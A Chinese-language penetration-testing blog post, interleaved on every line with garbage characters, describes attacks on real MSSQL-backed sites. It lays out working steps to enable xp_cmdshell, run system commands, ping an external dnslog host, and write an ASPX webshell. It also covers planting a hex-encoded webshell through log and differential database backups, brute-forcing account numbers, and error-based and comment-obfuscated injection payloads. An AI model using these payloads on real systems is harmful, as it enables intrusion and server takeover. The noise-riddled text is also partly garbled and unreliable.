|
" _2 A+ t8 f. e7 F9 ?& W2 s3 X 上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!! ) ?' D! C# l& U: ^
前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!
$ s9 a M. p. f0 ?! X- a 狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令… " `6 r7 [7 v/ M6 ~
先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启 + q2 B9 S* [5 v3 z1 p1 _
开启方法#开启方法: B9 j$ i& q, o5 A( H, ]
execute(sp_configure "show advanced options",1) #将该选项的值设置为1
. k/ X$ c& }% P; F% a5 b- O execute(reconfigure)
2 Y4 g- \5 r: a #保存设置8 n5 v' j# S7 m0 j5 E* L
execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1
5 J. ]. m- P% Y execute(reconfigure) 9 q5 b/ o) w9 g- J" c
#保存设置1 [( T8 @$ G b9 b0 g5 Y
execute(sp_configure) #查看配置
8 o' o* b; N0 }3 H; z& P% q execute(xp_cmdshell "whoami")
6 ]8 }( T( Q$ l7 R #执行系统命令1 F- |1 O+ I2 ?$ V# v; }& e) m& s8 Z
或者6 U+ {8 e; O) _9 `; D
exec sp_configure show advanced options,1;) m: g3 Y8 x9 R* R3 m$ r6 W
reconfigure;
8 e% G3 i0 [) H exec sp_configure xp_cmdshell,1;1 c% c# [& `9 t
reconfigure;
+ F8 g" N; h% O3 c' A
3 `; C& B! V; [* q exec sp_configure;
( r/ \" n1 q* K7 h exec xp_cmdshell whoami;% d: C% K( ?) \6 I& G
exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!
' Q C0 K/ P/ Z' Y. v4 M8 a 写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;, P; K( q3 ?% Q8 U: R& [5 l. H, S* {3 N+ Z
直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下
6 n' z W& w/ B; s# y* j 故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg;
" S; o, j1 c6 D6 G ' Z2 t7 w6 c& q, F4 o; w
写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript"
- c* C. G, d- k7 [" f0 a, O: y. L %^>^^ >d:\xx\xx.aspx. X3 O% @ @( P
然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx
$ s* w4 s* N# O [; x 即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell 9 D! W# k( H5 W* r- T
备份getshell 至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次 7 h& U0 ], G: s0 a$ O5 e! M1 S/ b
;alterdatabase 库名 setRECOVERYFULL--0 O- P, Q7 G. E& G$ t* P2 G% d
;createtable 数据库名..表名(a image)-- //建表
) E/ j7 ~& r5 A) g+ Q8 c9 K ;insertinto 数据库名..表名(a) M( F/ t+ m/ c6 g, B
values (0x一句话木马)-- //插入一句话木马到表中,注意16进制
L h6 R* b( Z! K! q H0 {$ i" C9 ?& `5 }/ {4 \7 W
;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍 " _0 ]: H2 i) U3 k6 W
) y$ M3 w1 k! Y) ^4 A% H! ]& I: G/ k8 _' I4 ^
;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。
! L% ^+ h2 r' S' {1 t2 L 2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。
+ ~9 t6 Y2 o' A4 q* E+ t! d2 q$ B ;-- //先手动备份一次 ~) c$ Q+ g, t" U/ k" l2 j
;createtable 数据库名..表名(a image)-- //建立表,加字段
$ `! U6 @, t/ R! W ;insertinto 数据库名..表名(a) values (0x一句话木马) ; O% T: [, A6 @5 U
-- //插入一句话木马到表中,注意16进制
' ^7 l! c8 n8 `8 p( s7 i ;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份
! t. |9 o4 [* x8 A: F 小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下 6 H$ r; V9 V7 d4 R4 ?
导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行 % A a; G& V6 K5 _9 n
快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:
: {$ i4 i1 E& X' R1 Q0 W 注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功
7 ^4 j7 P+ ]+ g/ E* I 9 _ B: W1 |+ V
) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa
& ?' r% ~# F6 T y 1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"
. I- i4 h8 P+ V" f3 Y8 o' p --#不死心,执行一下cmdshell  3 k8 d' @; C! @5 o. k3 Z; P: g
我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。
3 E* ]+ G8 d; Q' Q# ^! b: n$ [5 a
9 z- f( F- Q* x! \8 a. s2 ?' Q
% b5 `9 D) p7 d4 y; q! q' j# ^
w. h9 @* B( D |